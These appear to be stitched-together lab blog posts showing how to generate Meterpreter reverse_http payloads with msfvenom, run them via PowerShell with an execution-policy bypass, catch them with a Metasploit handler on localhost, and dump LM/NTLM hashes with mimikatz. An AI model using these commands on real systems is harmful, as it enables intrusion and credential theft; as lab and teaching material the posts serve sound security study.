Didier Stevens

To generate a PowerShell script with msfvenom on Windows, use the command “msfvenom.bat –payload windows/x64/meterpreter_reverse_http –format psh –out meterpreter-64.ps1 LHOST=127.0.0.1”:

The payload windows/x64/meterpreter_reverse_http is the Meterpreter payload for 64-bit Windows. Format psh is the format to use to generate a PowerShell script that will execute the payload (formats ps1 and powershell are transform formats, they do not generate a script that executes the payload).

A 32-bit payload is generated with this command “msfvenom.bat –payload windows/meterpreter_reverse_http –format psh –out meterpreter-32.ps1 LHOST=127.0.0.1”:

Just as I showed in my post for .exe payloads, we start a handler like this:

Now we need to execute the PowerShell scripts. Just executing “powershell.exe -File meterpreter-64.ps1” will not work:

By default, .ps1 files are not executed. We can execute them by bypassing the policy “powershell.exe -ExecutionPolicy Bypass -File meterpreter-64.ps1”:

In this example, 948 is the handle to the thread created by CreateThread when the payload is executed.

But back in the Metasploit console, you will not see a connection. That’s because the PowerShell process terminates before the Meterpreter payload can fully execute: powershell.exe executes the script, which loads the Meterpreter payload in the powershell process, and then powershell.exe exits, e.g. the powershell process is terminated and thus the Meterpreter payload too.

To give the Meterpreter payload the time to establish a connection, the powershell process must remain alive. We can do this by preventing powershell.exe to exit with option -NoExit:

Now we get a connection:

This example was for a 64-bit payload on a 64-bit Windows machine.

The same command is used to execute the 32-bit payload on a 32-bit Windows machine (except for the filename, which is meterpreter-32.ps1 in our example).

To execute the 32-bit payload on a 64-bit Windows machine, we need to start 32-bit PowerShell, like this “c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoExit -File meterpreter-32.ps1”:

This gives us 2 sessions:

In my previous post “Reading Memory Of 64-bit Processes” I used the Windows version of Metasploit so that I could do all tests with a single machine: running the Meterpreter client and server on the same machine.

The Metasploit framework requires administrative rights to install on Windows, it will install by default in the c:\metasploit folder. Your AV on your Windows machine will generate alerts when you install and use Metasploit on Windows, so make sure to create the proper exceptions.

General remark: Metaploit on Windows is slower than on Linux, be patient.

I use MSFVenom (c:\metasploit\msfvenom.bat) to create 32-bit and 64-bit executables to inject the Meterpreter payload.

Command “msfvenom.bat –help” will show you all options:

Command “msfvenom.bat –list payloads” will show you all payloads:

Command “msfvenom.bat –help-formats” will show you all output formats:

Executable formats will generate programs and scripts, while transform formats will just produce the payload. More on this later.

I use msfvenom.bat to create a 32-bit and 64-bit executable with the meterpreter_reverse_http payload.

Here is the command for 32-bit: “msfvenom.bat –payload windows/meterpreter_reverse_http –format exe –out meterpreter-32.exe LHOST=127.0.0.1”.

Since I did not specify the platform and architecture, msfvenom will choose these based on the payload I selected.

Format exe is the executable format for .exe files.

windows/meterpreter_reverse_http is the Windows 32-bit version of the meterpreter_reverse_http payload. This payload takes several options, which can be enumerated with the following command:

“msfvenom.bat –payload windows/meterpreter_reverse_http –payload-options”

LHOST is the only required option that has no default value. I use LHOST=127.0.0.1 because I’m doing everything on the same machine, so the loopback address can be used.

Here is the command for 64-bit: “msfvenom.bat –payload windows/x64/meterpreter_reverse_http –format exe –out meterpreter-64.exe LHOST=127.0.0.1”.

Now that I created my 2 executables, I can start Metasploit’s console and use them.

I start c:\metasploit\console.bat (this will take a couple of minutes on Windows).

And then I start the Meterpreter server with these commands:

use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set lhost 127.0.0.1
exploit

The Metasploit handler is now waiting for connections. I start meterpreter-64.exe as administrator, because I want it to have SYSTEM access (I ran msfvenom and console as normal user).

When started, meterpreter-64.exe will connect to the handler and wait for instructions (the process will not exit). We can see this connection here:

With the sessions command, we can see all callbacks:

And here we select session 1 to interact with Meterpreter:

From here on, we can use this Meterpreter shell:

When you read the memory of a 64-bit process, you have to make sure to read it from a 64-bit process. A 32-bit process can not use the documented Windows API to read the memory of a 64-bit process.

Here is an example using Metasploit with Meterpreter’s mimikatz module:

When using 32-bit meterpreter/mimikatz command msv to extract hashes from 64-bit Windows, we get an error: “0x0000012b Only part of a ReadProcessMemory or WriteProcessMemory request was completed”. This error occurs when a 32-bit process wants to read or write memory from a 64-bit process.

If we take a second look at the result of command “load mimikatz”, we see a warning: [!] Loaded x86 Mimikatz on a x64 architecture.

We need to run Meterpreter in a 64-bit process to access memory of a 64-bit process (like LSA):

Here we have no Windows API error anymore, but still no hashes. This is because Meterpreter’s mimikatz module is an older version (1.0) that can not extract hashes from the latest versions of Windows. Here we are using a 64-bit fully patched Windows 7 machine.

Command “mimikatz_command -f version” confirms module mimikatz’s version:

When we use this version on an 64-bit unpatched Windows 7 SP1 machine, we get hashes:

Maybe you recognize the LM and NTLM hashes of the empty string (AAD3B435B51404EEAAD3B435B51404EE and 31D6CFE0D16AE931B73C59D7E0C089C0).

I created more mimikatz videos.

And if you didn’t see it, @gentilkiwi created a BSOD command for minesweeper ;-).

mimikatz and protected processes:

mimkatz RPC mode:

And mimikatz skeleton command: